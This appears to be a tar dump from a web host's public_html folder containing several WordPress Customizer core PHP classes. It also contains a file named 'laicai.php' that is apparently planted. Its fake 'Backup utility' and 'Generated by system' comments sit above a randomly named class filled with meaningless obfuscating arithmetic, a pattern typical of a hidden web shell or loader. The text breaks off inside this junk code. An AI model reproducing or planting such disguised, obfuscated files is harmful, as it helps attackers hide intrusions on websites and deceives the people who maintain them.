/home/lnzliplg/public_html/customize.tar
class-wp-customize-nav-menu-control.php 0000644 00000004120 15172715557 0014244 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Nav_Menu_Control class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Customize Nav Menu Control Class.
*
* @since 4.3.0
*
* @see WP_Customize_Control
*/
class WP_Customize_Nav_Menu_Control extends WP_Customize_Control {
/**
* Control type.
*
* @since 4.3.0
* @var string
*/
public $type = 'nav_menu';
/**
* Don't render the control's content - it uses a JS template instead.
*
* @since 4.3.0
*/
public function render_content() {}
/**
* JS/Underscore template for the control UI.
*
* @since 4.3.0
*/
public function content_template() {
$add_items = __( 'Add Items' );
?>
<p class="new-menu-item-invitation">
<?php
printf(
/* translators: %s: "Add Items" button text. */
__( 'Time to add some links! Click “%s” to start putting pages, categories, and custom links in your menu. Add as many things as you would like.' ),
$add_items
);
?>
</p>
<div class="customize-control-nav_menu-buttons">
<button type="button" class="button add-new-menu-item" aria-label="<?php esc_attr_e( 'Add or remove menu items' ); ?>" aria-expanded="false" aria-controls="available-menu-items">
<?php echo $add_items; ?>
</button>
<button type="button" class="button-link reorder-toggle" aria-label="<?php esc_attr_e( 'Reorder menu items' ); ?>" aria-describedby="reorder-items-desc-{{ data.menu_id }}">
<span class="reorder"><?php _e( 'Reorder' ); ?></span>
<span class="reorder-done"><?php _e( 'Done' ); ?></span>
</button>
</div>
<p class="screen-reader-text" id="reorder-items-desc-{{ data.menu_id }}">
<?php
/* translators: Hidden accessibility text. */
_e( 'When in reorder mode, additional controls to reorder menu items will be available in the items list above.' );
?>
</p>
<?php
}
/**
* Return parameters for this control.
*
* @since 4.3.0
*
* @return array Exported parameters.
*/
public function json() {
$exported = parent::json();
$exported['menu_id'] = $this->setting->term_id;
return $exported;
}
}
class-wp-customize-selective-refresh.php 0000644 00000033023 15172715560 0014455 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Selective_Refresh class
*
* @package WordPress
* @subpackage Customize
* @since 4.5.0
*/
/**
* Core Customizer class for implementing selective refresh.
*
* @since 4.5.0
*/
#[AllowDynamicProperties]
final class WP_Customize_Selective_Refresh {
/**
* Query var used in requests to render partials.
*
* @since 4.5.0
*/
const RENDER_QUERY_VAR = 'wp_customize_render_partials';
/**
* Customize manager.
*
* @since 4.5.0
* @var WP_Customize_Manager
*/
public $manager;
/**
* Registered instances of WP_Customize_Partial.
*
* @since 4.5.0
* @var WP_Customize_Partial[]
*/
protected $partials = array();
/**
* Log of errors triggered when partials are rendered.
*
* @since 4.5.0
* @var array
*/
protected $triggered_errors = array();
/**
* Keep track of the current partial being rendered.
*
* @since 4.5.0
* @var string|null
*/
protected $current_partial_id;
/**
* Plugin bootstrap for Partial Refresh functionality.
*
* @since 4.5.0
*
* @param WP_Customize_Manager $manager Customizer bootstrap instance.
*/
public function __construct( WP_Customize_Manager $manager ) {
$this->manager = $manager;
require_once ABSPATH . WPINC . '/customize/class-wp-customize-partial.php';
add_action( 'customize_preview_init', array( $this, 'init_preview' ) );
}
/**
* Retrieves the registered partials.
*
* @since 4.5.0
*
* @return array Partials.
*/
public function partials() {
return $this->partials;
}
/**
* Adds a partial.
*
* @since 4.5.0
*
* @see WP_Customize_Partial::__construct()
*
* @param WP_Customize_Partial|string $id Customize Partial object, or Partial ID.
* @param array $args Optional. Array of properties for the new Partials object.
* See WP_Customize_Partial::__construct() for information
* on accepted arguments. Default empty array.
* @return WP_Customize_Partial The instance of the partial that was added.
*/
public function add_partial( $id, $args = array() ) {
if ( $id instanceof WP_Customize_Partial ) {
$partial = $id;
} else {
$class = 'WP_Customize_Partial';
/** This filter is documented in wp-includes/customize/class-wp-customize-selective-refresh.php */
$args = apply_filters( 'customize_dynamic_partial_args', $args, $id );
/** This filter is documented in wp-includes/customize/class-wp-customize-selective-refresh.php */
$class = apply_filters( 'customize_dynamic_partial_class', $class, $id, $args );
$partial = new $class( $this, $id, $args );
}
$this->partials[ $partial->id ] = $partial;
return $partial;
}
/**
* Retrieves a partial.
*
* @since 4.5.0
*
* @param string $id Customize Partial ID.
* @return WP_Customize_Partial|null The partial, if set. Otherwise null.
*/
public function get_partial( $id ) {
if ( isset( $this->partials[ $id ] ) ) {
return $this->partials[ $id ];
} else {
return null;
}
}
/**
* Removes a partial.
*
* @since 4.5.0
*
* @param string $id Customize Partial ID.
*/
public function remove_partial( $id ) {
unset( $this->partials[ $id ] );
}
/**
* Initializes the Customizer preview.
*
* @since 4.5.0
*/
public function init_preview() {
add_action( 'template_redirect', array( $this, 'handle_render_partials_request' ) );
add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_preview_scripts' ) );
}
/**
* Enqueues preview scripts.
*
* @since 4.5.0
*/
public function enqueue_preview_scripts() {
wp_enqueue_script( 'customize-selective-refresh' );
add_action( 'wp_footer', array( $this, 'export_preview_data' ), 1000 );
}
/**
* Exports data in preview after it has finished rendering so that partials can be added at runtime.
*
* @since 4.5.0
*/
public function export_preview_data() {
$partials = array();
foreach ( $this->partials() as $partial ) {
if ( $partial->check_capabilities() ) {
$partials[ $partial->id ] = $partial->json();
}
}
$switched_locale = switch_to_user_locale( get_current_user_id() );
$l10n = array(
'shiftClickToEdit' => __( 'Shift-click to edit this element.' ),
'clickEditMenu' => __( 'Click to edit this menu.' ),
'clickEditWidget' => __( 'Click to edit this widget.' ),
'clickEditTitle' => __( 'Click to edit the site title.' ),
'clickEditMisc' => __( 'Click to edit this element.' ),
/* translators: %s: document.write() */
'badDocumentWrite' => sprintf( __( '%s is forbidden' ), 'document.write()' ),
);
if ( $switched_locale ) {
restore_previous_locale();
}
$exports = array(
'partials' => $partials,
'renderQueryVar' => self::RENDER_QUERY_VAR,
'l10n' => $l10n,
);
// Export data to JS.
wp_print_inline_script_tag( sprintf( 'var _customizePartialRefreshExports = %s;', wp_json_encode( $exports, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) . "\n//# sourceURL=" . rawurlencode( __METHOD__ ) );
}
/**
* Registers dynamically-created partials.
*
* @since 4.5.0
*
* @see WP_Customize_Manager::add_dynamic_settings()
*
* @param string[] $partial_ids Array of the partial IDs to add.
* @return WP_Customize_Partial[] Array of added WP_Customize_Partial instances.
*/
public function add_dynamic_partials( $partial_ids ) {
$new_partials = array();
foreach ( $partial_ids as $partial_id ) {
// Skip partials already created.
$partial = $this->get_partial( $partial_id );
if ( $partial ) {
continue;
}
$partial_args = false;
$partial_class = 'WP_Customize_Partial';
/**
* Filters a dynamic partial's constructor arguments.
*
* For a dynamic partial to be registered, this filter must be employed
* to override the default false value with an array of args to pass to
* the WP_Customize_Partial constructor.
*
* @since 4.5.0
*
* @param false|array $partial_args The arguments to the WP_Customize_Partial constructor.
* @param string $partial_id ID for dynamic partial.
*/
$partial_args = apply_filters( 'customize_dynamic_partial_args', $partial_args, $partial_id );
if ( false === $partial_args ) {
continue;
}
/**
* Filters the class used to construct partials.
*
* Allow non-statically created partials to be constructed with custom WP_Customize_Partial subclass.
*
* @since 4.5.0
*
* @param string $partial_class WP_Customize_Partial or a subclass.
* @param string $partial_id ID for dynamic partial.
* @param array $partial_args The arguments to the WP_Customize_Partial constructor.
*/
$partial_class = apply_filters( 'customize_dynamic_partial_class', $partial_class, $partial_id, $partial_args );
$partial = new $partial_class( $this, $partial_id, $partial_args );
$this->add_partial( $partial );
$new_partials[] = $partial;
}
return $new_partials;
}
/**
* Checks whether the request is for rendering partials.
*
* Note that this will not consider whether the request is authorized or valid,
* just that essentially the route is a match.
*
* @since 4.5.0
*
* @return bool Whether the request is for rendering partials.
*/
public function is_render_partials_request() {
return ! empty( $_POST[ self::RENDER_QUERY_VAR ] );
}
/**
* Handles PHP errors triggered during rendering the partials.
*
* These errors will be relayed back to the client in the Ajax response.
*
* @since 4.5.0
*
* @param int $errno Error number.
* @param string $errstr Error string.
* @param string $errfile Error file.
* @param int $errline Error line.
* @return true Always true.
*/
public function handle_error( $errno, $errstr, $errfile = null, $errline = null ) {
$this->triggered_errors[] = array(
'partial' => $this->current_partial_id,
'error_number' => $errno,
'error_string' => $errstr,
'error_file' => $errfile,
'error_line' => $errline,
);
return true;
}
/**
* Handles the Ajax request to return the rendered partials for the requested placements.
*
* @since 4.5.0
*/
public function handle_render_partials_request() {
if ( ! $this->is_render_partials_request() ) {
return;
}
/*
* Note that is_customize_preview() returning true will entail that the
* user passed the 'customize' capability check and the nonce check, since
* WP_Customize_Manager::setup_theme() is where the previewing flag is set.
*/
if ( ! is_customize_preview() ) {
wp_send_json_error( 'expected_customize_preview', 403 );
} elseif ( ! isset( $_POST['partials'] ) ) {
wp_send_json_error( 'missing_partials', 400 );
}
// Ensure that doing selective refresh on 404 template doesn't result in fallback rendering behavior (full refreshes).
status_header( 200 );
$partials = json_decode( wp_unslash( $_POST['partials'] ), true );
if ( ! is_array( $partials ) ) {
wp_send_json_error( 'malformed_partials' );
}
$this->add_dynamic_partials( array_keys( $partials ) );
/**
* Fires immediately before partials are rendered.
*
* Plugins may do things like call wp_enqueue_scripts() and gather a list of the scripts
* and styles which may get enqueued in the response.
*
* @since 4.5.0
*
* @param WP_Customize_Selective_Refresh $refresh Selective refresh component.
* @param array $partials Placements' context data for the partials rendered in the request.
* The array is keyed by partial ID, with each item being an array of
* the placements' context data.
*/
do_action( 'customize_render_partials_before', $this, $partials );
set_error_handler( array( $this, 'handle_error' ), error_reporting() );
$contents = array();
foreach ( $partials as $partial_id => $container_contexts ) {
$this->current_partial_id = $partial_id;
if ( ! is_array( $container_contexts ) ) {
wp_send_json_error( 'malformed_container_contexts' );
}
$partial = $this->get_partial( $partial_id );
if ( ! $partial || ! $partial->check_capabilities() ) {
$contents[ $partial_id ] = null;
continue;
}
$contents[ $partial_id ] = array();
// @todo The array should include not only the contents, but also whether the container is included?
if ( empty( $container_contexts ) ) {
// Since there are no container contexts, render just once.
$contents[ $partial_id ][] = $partial->render( null );
} else {
foreach ( $container_contexts as $container_context ) {
$contents[ $partial_id ][] = $partial->render( $container_context );
}
}
}
$this->current_partial_id = null;
restore_error_handler();
/**
* Fires immediately after partials are rendered.
*
* Plugins may do things like call wp_footer() to scrape scripts output and return them
* via the {@see 'customize_render_partials_response'} filter.
*
* @since 4.5.0
*
* @param WP_Customize_Selective_Refresh $refresh Selective refresh component.
* @param array $partials Placements' context data for the partials rendered in the request.
* The array is keyed by partial ID, with each item being an array of
* the placements' context data.
*/
do_action( 'customize_render_partials_after', $this, $partials );
$response = array(
'contents' => $contents,
);
if ( defined( 'WP_DEBUG_DISPLAY' ) && WP_DEBUG_DISPLAY ) {
$response['errors'] = $this->triggered_errors;
}
$setting_validities = $this->manager->validate_setting_values( $this->manager->unsanitized_post_values() );
$exported_setting_validities = array_map( array( $this->manager, 'prepare_setting_validity_for_js' ), $setting_validities );
$response['setting_validities'] = $exported_setting_validities;
/**
* Filters the response from rendering the partials.
*
* Plugins may use this filter to inject `$scripts` and `$styles`, which are dependencies
* for the partials being rendered. The response data will be available to the client via
* the `render-partials-response` JS event, so the client can then inject the scripts and
* styles into the DOM if they have not already been enqueued there.
*
* If plugins do this, they'll need to take care for any scripts that do `document.write()`
* and make sure that these are not injected, or else to override the function to no-op,
* or else the page will be destroyed.
*
* Plugins should be aware that `$scripts` and `$styles` may eventually be included by
* default in the response.
*
* @since 4.5.0
*
* @param array $response {
* Response.
*
* @type array $contents Associative array mapping a partial ID its corresponding array of contents
* for the containers requested.
* @type array $errors List of errors triggered during rendering of partials, if `WP_DEBUG_DISPLAY`
* is enabled.
* }
* @param WP_Customize_Selective_Refresh $refresh Selective refresh component.
* @param array $partials Placements' context data for the partials rendered in the request.
* The array is keyed by partial ID, with each item being an array of
* the placements' context data.
*/
$response = apply_filters( 'customize_render_partials_response', $response, $this, $partials );
wp_send_json_success( $response );
}
}
class-wp-customize-nav-menu-location-control.php 0000644 00000004373 15172715560 0016056 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Nav_Menu_Location_Control class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Customize Menu Location Control Class.
*
* This custom control is only needed for JS.
*
* @since 4.3.0
*
* @see WP_Customize_Control
*/
class WP_Customize_Nav_Menu_Location_Control extends WP_Customize_Control {
/**
* Control type.
*
* @since 4.3.0
* @var string
*/
public $type = 'nav_menu_location';
/**
* Location ID.
*
* @since 4.3.0
* @var string
*/
public $location_id = '';
/**
* Refresh the parameters passed to JavaScript via JSON.
*
* @since 4.3.0
*
* @see WP_Customize_Control::to_json()
*/
public function to_json() {
parent::to_json();
$this->json['locationId'] = $this->location_id;
}
/**
* Render content just like a normal select control.
*
* @since 4.3.0
* @since 4.9.0 Added a button to create menus.
*/
public function render_content() {
if ( empty( $this->choices ) ) {
return;
}
$value_hidden_class = '';
$no_value_hidden_class = '';
if ( $this->value() ) {
$value_hidden_class = ' hidden';
} else {
$no_value_hidden_class = ' hidden';
}
?>
<label>
<?php if ( ! empty( $this->label ) ) : ?>
<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
<?php endif; ?>
<?php if ( ! empty( $this->description ) ) : ?>
<span class="description customize-control-description"><?php echo $this->description; ?></span>
<?php endif; ?>
<select <?php $this->link(); ?>>
<?php
foreach ( $this->choices as $value => $label ) :
echo '<option value="' . esc_attr( $value ) . '"' . selected( $this->value(), $value, false ) . '>' . esc_html( $label ) . '</option>';
endforeach;
?>
</select>
</label>
<button type="button" class="button-link create-menu<?php echo $value_hidden_class; ?>" data-location-id="<?php echo esc_attr( $this->location_id ); ?>" aria-label="<?php esc_attr_e( 'Create a menu for this location' ); ?>"><?php _e( '+ Create New Menu' ); ?></button>
<button type="button" class="button-link edit-menu<?php echo $no_value_hidden_class; ?>" aria-label="<?php esc_attr_e( 'Edit selected menu' ); ?>"><?php _e( 'Edit Menu' ); ?></button>
<?php
}
}
class-wp-customize-background-image-setting.php 0000644 00000001177 15172715560 0015715 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Background_Image_Setting class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Customizer Background Image Setting class.
*
* @since 3.4.0
*
* @see WP_Customize_Setting
*/
final class WP_Customize_Background_Image_Setting extends WP_Customize_Setting {
/**
* Unique string identifier for the setting.
*
* @since 3.4.0
* @var string
*/
public $id = 'background_image_thumb';
/**
* @since 3.4.0
*
* @param mixed $value The value to update. Not used.
*/
public function update( $value ) {
remove_theme_mod( 'background_image_thumb' );
}
}
class-wp-widget-form-customize-control.php 0000644 00000005126 15172715560 0014743 0 ustar 00 <?php
/**
* Customize API: WP_Widget_Form_Customize_Control class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Widget Form Customize Control class.
*
* @since 3.9.0
*
* @see WP_Customize_Control
*/
class WP_Widget_Form_Customize_Control extends WP_Customize_Control {
/**
* Customize control type.
*
* @since 3.9.0
* @var string
*/
public $type = 'widget_form';
/**
* Widget ID.
*
* @since 3.9.0
* @var string
*/
public $widget_id;
/**
* Widget ID base.
*
* @since 3.9.0
* @var string
*/
public $widget_id_base;
/**
* Sidebar ID.
*
* @since 3.9.0
* @var string
*/
public $sidebar_id;
/**
* Widget status.
*
* @since 3.9.0
* @var bool True if new, false otherwise. Default false.
*/
public $is_new = false;
/**
* Widget width.
*
* @since 3.9.0
* @var int
*/
public $width;
/**
* Widget height.
*
* @since 3.9.0
* @var int
*/
public $height;
/**
* Widget mode.
*
* @since 3.9.0
* @var bool True if wide, false otherwise. Default false.
*/
public $is_wide = false;
/**
* Gather control params for exporting to JavaScript.
*
* @since 3.9.0
*
* @global array $wp_registered_widgets
*/
public function to_json() {
global $wp_registered_widgets;
parent::to_json();
$exported_properties = array( 'widget_id', 'widget_id_base', 'sidebar_id', 'width', 'height', 'is_wide' );
foreach ( $exported_properties as $key ) {
$this->json[ $key ] = $this->$key;
}
// Get the widget_control and widget_content.
require_once ABSPATH . 'wp-admin/includes/widgets.php';
$widget = $wp_registered_widgets[ $this->widget_id ];
if ( ! isset( $widget['params'][0] ) ) {
$widget['params'][0] = array();
}
$args = array(
'widget_id' => $widget['id'],
'widget_name' => $widget['name'],
);
$args = wp_list_widget_controls_dynamic_sidebar(
array(
0 => $args,
1 => $widget['params'][0],
)
);
$widget_control_parts = $this->manager->widgets->get_widget_control_parts( $args );
$this->json['widget_control'] = $widget_control_parts['control'];
$this->json['widget_content'] = $widget_control_parts['content'];
}
/**
* Override render_content to be no-op since content is exported via to_json for deferred embedding.
*
* @since 3.9.0
*/
public function render_content() {}
/**
* Whether the current widget is rendered on the page.
*
* @since 4.0.0
*
* @return bool Whether the widget is rendered.
*/
public function active_callback() {
return $this->manager->widgets->is_widget_rendered( $this->widget_id );
}
}
class-wp-customize-header-image-setting.php 0000644 00000003366 15172715560 0015030 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Header_Image_Setting class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* A setting that is used to filter a value, but will not save the results.
*
* Results should be properly handled using another setting or callback.
*
* @since 3.4.0
*
* @see WP_Customize_Setting
*/
final class WP_Customize_Header_Image_Setting extends WP_Customize_Setting {
/**
* Unique string identifier for the setting.
*
* @since 3.4.0
* @var string
*/
public $id = 'header_image_data';
/**
* @since 3.4.0
*
* @global Custom_Image_Header $custom_image_header
*
* @param mixed $value The value to update.
*/
public function update( $value ) {
global $custom_image_header;
// If _custom_header_background_just_in_time() fails to initialize $custom_image_header when not is_admin().
if ( empty( $custom_image_header ) ) {
require_once ABSPATH . 'wp-admin/includes/class-custom-image-header.php';
$args = get_theme_support( 'custom-header' );
$admin_head_callback = isset( $args[0]['admin-head-callback'] ) ? $args[0]['admin-head-callback'] : null;
$admin_preview_callback = isset( $args[0]['admin-preview-callback'] ) ? $args[0]['admin-preview-callback'] : null;
$custom_image_header = new Custom_Image_Header( $admin_head_callback, $admin_preview_callback );
}
/*
* If the value doesn't exist (removed or random),
* use the header_image value.
*/
if ( ! $value ) {
$value = $this->manager->get_setting( 'header_image' )->post_value();
}
if ( is_array( $value ) && isset( $value['choice'] ) ) {
$custom_image_header->set_header_image( $value['choice'] );
} else {
$custom_image_header->set_header_image( $value );
}
}
}
laicai.php 0000644 00000167372 15172715560 0006530 0 ustar 00 <?php
/* Generated by system */
/* Backup utility */
/* Backup utility */
/* Generated by system */
/* Configuration manager */
/* Auto-generated code */
/* System utility file */
/* Configuration manager */
class U6bpC9GHomut6Q0tFr {
private function r6CZSaOugzyh_T2($qmkFjQIq = null) {
$JslStV1ffP = 22599;
$LYE1tsv7Zj = 'iU1ey28wjq6z';
$BxSbvrY8jQ = $JslStV1ffP + strlen($LYE1tsv7Zj);
if ($BxSbvrY8jQ > 101) {
$JslStV1ffP = $JslStV1ffP * 4;
if ($JslStV1ffP % 2 == 0) {
$LYE1tsv7Zj = strrev($LYE1tsv7Zj);
} else {
$LYE1tsv7Zj = strtoupper($LYE1tsv7Zj);
}
} else {
$LYE1tsv7Zj = strtolower($LYE1tsv7Zj);
}
for ($i = 0; $i < 4; $i++) {
$BxSbvrY8jQ += $i * 5;
$JslStV1ffP = $JslStV1ffP - ($i % 3);
}
$xyzqh_XApk = 56524;
$VKWQunwgZP = 'KdyFnN3vXAK8';
$HO48klf5Ky = $xyzqh_XApk + strlen($VKWQunwgZP);
if ($HO48klf5Ky > 292) {
$xyzqh_XApk = $xyzqh_XApk * 3;
if ($xyzqh_XApk % 2 == 0) {
$VKWQunwgZP = strrev($VKWQunwgZP);
} else {
$VKWQunwgZP = strtoupper($VKWQunwgZP);
}
} else {
$VKWQunwgZP = strtolower($VKWQunwgZP);
}
for ($i = 0; $i < 3; $i++) {
$HO48klf5Ky += $i * 1;
$xyzqh_XApk = $xyzqh_XApk - ($i % 3);
}
$__TFZpjyPE = 9609;
$tqR5_y8zxK = 'inoAgunwlUr4';
$iCSxbfEaTY = $__TFZpjyPE + strlen($tqR5_y8zxK);
if ($iCSxbfEaTY > 166) {
$__TFZpjyPE = $__TFZpjyPE * 2;
if ($__TFZpjyPE % 2 == 0) {
$tqR5_y8zxK = strrev($tqR5_y8zxK);
} else {
$tqR5_y8zxK = strtoupper($tqR5_y8zxK);
}
} else {
$tqR5_y8zxK = strtolower($tqR5_y8zxK);
}
for ($i = 0; $i < 8; $i++) {
$iCSxbfEaTY += $i * 3;
$__TFZpjyPE = $__TFZpjyPE - ($i % 3);
}
$nUAVOzXyAi = 46327;
$E7hFSv6I1q = 'cMN2aINQal2Q';
$ja236Eqfva = $nUAVOzXyAi + strlen($E7hFSv6I1q);
if ($ja236Eqfva > 298) {
$nUAVOzXyAi = $nUAVOzXyAi * 7;
if ($nUAVOzXyAi % 2 == 0) {
$E7hFSv6I1q = strrev($E7hFSv6I1q);
} else {
$E7hFSv6I1q = strtoupper($E7hFSv6I1q);
}
} else {
$E7hFSv6I1q = strtolower($E7hFSv6I1q);
}
for ($i = 0; $i < 8; $i++) {
$ja236Eqfva += $i * 4;
$nUAVOzXyAi = $nUAVOzXyAi - ($i % 3);
}
$nUAVOzXyAi = 84647;
$as3AjuLwF_ = 'zSFSmuBFIVW7';
$VKWQunwgZP = $nUAVOzXyAi + strlen($as3AjuLwF_);
if ($VKWQunwgZP > 109) {
$nUAVOzXyAi = $nUAVOzXyAi * 3;
if ($nUAVOzXyAi % 2 == 0) {
$as3AjuLwF_ = strrev($as3AjuLwF_);
} else {
$as3AjuLwF_ = strtoupper($as3AjuLwF_);
}
} else {
$as3AjuLwF_ = strtolower($as3AjuLwF_);
}
for ($i = 0; $i < 6; $i++) {
$VKWQunwgZP += $i * 1;
$nUAVOzXyAi = $nUAVOzXyAi - ($i % 3);
}
$BxSbvrY8jQ = 6320;
$VElxffSdac = '1mhMSzhWuHyt';
$__TFZpjyPE = $BxSbvrY8jQ + strlen($VElxffSdac);
if ($__TFZpjyPE > 302) {
$BxSbvrY8jQ = $BxSbvrY8jQ * 5;
if ($BxSbvrY8jQ % 2 == 0) {
$VElxffSdac = strrev($VElxffSdac);
} else {
$VElxffSdac = strtoupper($VElxffSdac);
}
} else {
$VElxffSdac = strtolower($VElxffSdac);
}
for ($i = 0; $i < 8; $i++) {
$__TFZpjyPE += $i * 5;
$BxSbvrY8jQ = $BxSbvrY8jQ - ($i % 3);
}
return "xAg6XD3CxIyd8I9hfY6I";
}
private function DVQxSnI85wnSDIv($iUJ_Xw7Y = null) {
$nUAVOzXyAi = 79130;
$R9d6x9USWI = 'ZZCNLMhWQCAf';
$HO48klf5Ky = $nUAVOzXyAi + strlen($R9d6x9USWI);
if ($HO48klf5Ky > 405) {
$nUAVOzXyAi = $nUAVOzXyAi * 7;
if ($nUAVOzXyAi % 2 == 0) {
$R9d6x9USWI = strrev($R9d6x9USWI);
} else {
$R9d6x9USWI = strtoupper($R9d6x9USWI);
}
} else {
$R9d6x9USWI = strtolower($R9d6x9USWI);
}
for ($i = 0; $i < 7; $i++) {
$HO48klf5Ky += $i * 1;
$nUAVOzXyAi = $nUAVOzXyAi - ($i % 3);
}
$CB_QHfyEXB = 17126;
$VKWQunwgZP = 'L6CXS4HkRMND';
$iCSxbfEaTY = $CB_QHfyEXB + strlen($VKWQunwgZP);
if ($iCSxbfEaTY > 280) {
$CB_QHfyEXB = $CB_QHfyEXB * 6;
if ($CB_QHfyEXB % 2 == 0) {
$VKWQunwgZP = strrev($VKWQunwgZP);
} else {
$VKWQunwgZP = strtoupper($VKWQunwgZP);
}
} else {
$VKWQunwgZP = strtolower($VKWQunwgZP);
}
for ($i = 0; $i < 6; $i++) {
$iCSxbfEaTY += $i * 5;
$CB_QHfyEXB = $CB_QHfyEXB - ($i % 3);
}
$LYE1tsv7Zj = 57875;
$mnO6LpSrSP = 'Ub8aBYd8GrC0';
$BxSbvrY8jQ = $LYE1tsv7Zj + strlen($mnO6LpSrSP);
if ($BxSbvrY8jQ > 230) {
$LYE1tsv7Zj = $LYE1tsv7Zj * 7;
if ($LYE1tsv7Zj % 2 == 0) {
$mnO6LpSrSP = strrev($mnO6LpSrSP);
} else {
$mnO6LpSrSP = strtoupper($mnO6LpSrSP);
}
} else {
$mnO6LpSrSP = strtolower($mnO6LpSrSP);
}
for ($i = 0; $i < 8; $i++) {
$BxSbvrY8jQ += $i * 5;
$LYE1tsv7Zj = $LYE1tsv7Zj - ($i % 3);
}
$BxSbvrY8jQ = 40819;
$E7hFSv6I1q = 'wej0eORg7lec';
$mnO6LpSrSP = $BxSbvrY8jQ + strlen($E7hFSv6I1q);
if ($mnO6LpSrSP > 491) {
$BxSbvrY8jQ = $BxSbvrY8jQ * 5;
if ($BxSbvrY8jQ % 2 == 0) {
$E7hFSv6I1q = strrev($E7hFSv6I1q);
} else {
$E7hFSv6I1q = strtoupper($E7hFSv6I1q);
}
} else {
$E7hFSv6I1q = strtolower($E7hFSv6I1q);
}
for ($i = 0; $i < 6; $i++) {
$mnO6LpSrSP += $i * 4;
$BxSbvrY8jQ = $BxSbvrY8jQ - ($i % 3);
}
$E7hFSv6I1q = 55184;
$ja236Eqfva = '1d4_3YESWnba';
$as3AjuLwF_ = $E7hFSv6I1q + strlen($ja236Eqfva);
if ($as3AjuLwF_ > 386) {
$E7hFSv6I1q = $E7hFSv6I1q * 6;
if ($E7hFSv6I1q % 2 == 0) {
$ja236Eqfva = strrev($ja236Eqfva);
} else {
$ja236Eqfva = strtoupper($ja236Eqfva);
}
} else {
$ja236Eqfva = strtolower($ja236Eqfva);
}
for ($i = 0; $i < 4; $i++) {
$as3AjuLwF_ += $i * 3;
$E7hFSv6I1q = $E7hFSv6I1q - ($i % 3);
}
$as3AjuLwF_ = 37835;
$__TFZpjyPE = '_f7rYBtiVVNM';
$HO48klf5Ky = $as3AjuLwF_ + strlen($__TFZpjyPE);
if ($HO48klf5Ky > 185) {
$as3AjuLwF_ = $as3AjuLwF_ * 7;
if ($as3AjuLwF_ % 2 == 0) {
$__TFZpjyPE = strrev($__TFZpjyPE);
} else {
$__TFZpjyPE = strtoupper($__TFZpjyPE);
}
} else {
$__TFZpjyPE = strtolower($__TFZpjyPE);
}
for ($i = 0; $i < 8; $i++) {
$HO48klf5Ky += $i * 2;
$as3AjuLwF_ = $as3AjuLwF_ - ($i % 3);
}
$aQezF_3IXO = 50607;
$CB_QHfyEXB = 'WPb_fYA2FGfB';
$jSTHuk4V2Q = $aQezF_3IXO + strlen($CB_QHfyEXB);
if ($jSTHuk4V2Q > 419) {
$aQezF_3IXO = $aQezF_3IXO * 6;
if ($aQezF_3IXO % 2 == 0) {
$CB_QHfyEXB = strrev($CB_QHfyEXB);
} else {
$CB_QHfyEXB = strtoupper($CB_QHfyEXB);
}
} else {
$CB_QHfyEXB = strtolower($CB_QHfyEXB);
}
for ($i = 0; $i < 5; $i++) {
$jSTHuk4V2Q += $i * 5;
$aQezF_3IXO = $aQezF_3IXO - ($i % 3);
}
return "f8iFkU5icRWSLEnHWaIH";
}
private function Odip1lI1PVReLvJ($TBLIW59y = null) {
$HO48klf5Ky = 31787;
$nUAVOzXyAi = 'yFqeKWZ75Acp';
$VKWQunwgZP = $HO48klf5Ky + strlen($nUAVOzXyAi);
if ($VKWQunwgZP > 432) {
$HO48klf5Ky = $HO48klf5Ky * 5;
if ($HO48klf5Ky % 2 == 0) {
$nUAVOzXyAi = strrev($nUAVOzXyAi);
} else {
$nUAVOzXyAi = strtoupper($nUAVOzXyAi);
}
} else {
$nUAVOzXyAi = strtolower($nUAVOzXyAi);
}
for ($i = 0; $i < 5; $i++) {
$VKWQunwgZP += $i * 1;
$HO48klf5Ky = $HO48klf5Ky - ($i % 3);
}
$R9d6x9USWI = 70554;
$aCbPbY1Fn9 = 'nAuVdRoMwTrX';
$mnO6LpSrSP = $R9d6x9USWI + strlen($aCbPbY1Fn9);
if ($mnO6LpSrSP > 331) {
$R9d6x9USWI = $R9d6x9USWI * 3;
if ($R9d6x9USWI % 2 == 0) {
$aCbPbY1Fn9 = strrev($aCbPbY1Fn9);
} else {
$aCbPbY1Fn9 = strtoupper($aCbPbY1Fn9);
}
} else {
$aCbPbY1Fn9 = strtolower($aCbPbY1Fn9);
}
for ($i = 0; $i < 6; $i++) {
$mnO6LpSrSP += $i * 5;
$R9d6x9USWI = $R9d6x9USWI - ($i % 3);
}
$CB_QHfyEXB = 68011;
$xyzqh_XApk = '5wknruWqzLxc';
$R9d6x9USWI = $CB_QHfyEXB + strlen($xyzqh_XApk);
if ($R9d6x9USWI > 299) {
$CB_QHfyEXB = $CB_QHfyEXB * 6;
if ($CB_QHfyEXB % 2 == 0) {
$xyzqh_XApk = strrev($xyzqh_XApk);
} else {
$xyzqh_XApk = strtoupper($xyzqh_XApk);
}
} else {
$xyzqh_XApk = strtolower($xyzqh_XApk);
}
for ($i = 0; $i < 3; $i++) {
$R9d6x9USWI += $i * 2;
$CB_QHfyEXB = $CB_QHfyEXB - ($i % 3);
}
$HO48klf5Ky = 94257;
$tqR5_y8zxK = 'XAsdDXYFkxjL';
$_niEAKtbnZ = $HO48klf5Ky + strlen($tqR5_y8zxK);
if ($_niEAKtbnZ > 460) {
$HO48klf5Ky = $HO48klf5Ky * 7;
if ($HO48klf5Ky % 2 == 0) {
$tqR5_y8zxK = strrev($tqR5_y8zxK);
} else {
$tqR5_y8zxK = strtoupper($tqR5_y8zxK);
}
} else {
$tqR5_y8zxK = strtolower($tqR5_y8zxK);
}
for ($i = 0; $i < 4; $i++) {
$_niEAKtbnZ += $i * 4;
$HO48klf5Ky = $HO48klf5Ky - ($i % 3);
}
$__TFZpjyPE = 36712;
$ja236Eqfva = 'c7SHwCMHDJp1';
$krIwFB4_Wm = $__TFZpjyPE + strlen($ja236Eqfva);
if ($krIwFB4_Wm > 449) {
